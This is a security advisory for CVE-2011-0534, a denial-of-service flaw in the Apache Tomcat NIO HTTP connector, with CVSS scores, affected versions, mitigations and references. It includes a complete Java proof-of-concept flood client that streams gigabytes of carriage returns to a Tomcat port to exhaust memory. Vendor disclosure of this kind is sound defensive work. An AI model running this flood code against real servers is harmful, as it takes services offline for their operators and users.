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Apache Tomcat DoS Vulnerability

Published
Credit
Risk
2011.02.14
Tomcat security team
Medium
CWE
CVE
Local
Remote
CWE-399
CVE-2011-0534
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
5/10
2.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Partial

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CVE-2011-0534 Apache Tomcat DoS vulnerability

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
- - Tomcat 7.0.0 to 7.0.6
- - Tomcat 6.0.0 to 6.0.30

Description:
Tomcat did not enforce the maxHttpHeaderSize limit while parsing the
request line in the NIO HTTP connector. A specially crafted request
could trigger an DoS via an OutOfMemoryError.

Example (AL2 licensed):
package bug50631;

import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketAddress;

public class FloodClient1 {
static final int k_step = 10;
static byte[] value = new byte[k_step * 1024];

public static void main(String[] args) throws Exception {
int i = 0;
while (i < value.length) {
value[i++] = 13;
}
SocketAddress addr = new InetSocketAddress("localhost", 8080);
Socket socket = new Socket();
socket.setSoTimeout(0);
socket.connect(addr, 0);
OutputStream os = socket.getOutputStream();
// InputStream is = socket.getInputStream();

int k = k_step;
int m = 0;
int k100 = 100;
while (m < 2000) {
if (k >= k100) {
k100 += 100;
System.out.print('.');
System.out.flush();
}
if (k >= 1024) {
m++;
k -= 1024;
k100 = 100;
System.out.println(" " + m + " Mb");
}
os.write(value);
os.flush();
Thread.sleep(1);
k+=k_step;
}
}
}

Mitigation:
Users of affected versions should apply one of the following mitigations
- - Upgrade to a Tomcat version where this issue is fixed
- - Use a BIO or AJP HTTP connector in place of an NIO HTTP connector

Credit:
The issue was identified by the Tomcat security team.

References:
https://issues.apache.org/bugzilla/show_bug.cgi?id=50631
http://tomcat.apache.org/security.html
http://tomcat.apache.org/security-7.html
http://tomcat.apache.org/security-6.html
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References:

http://tomcat.apache.org/security-6.html#Fixed_in_Apache_Tomcat_6.0.32
http://xforce.iss.net/xforce/xfdb/65162
http://www.vupen.com/english/advisories/2011/0293
http://www.securitytracker.com/id?1025027
http://www.securityfocus.com/bid/46164
http://www.securityfocus.com/archive/1/archive/1/516214/100/0/threaded
http://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.8_%28released_5_Feb_2011%29
http://osvdb.org/70809

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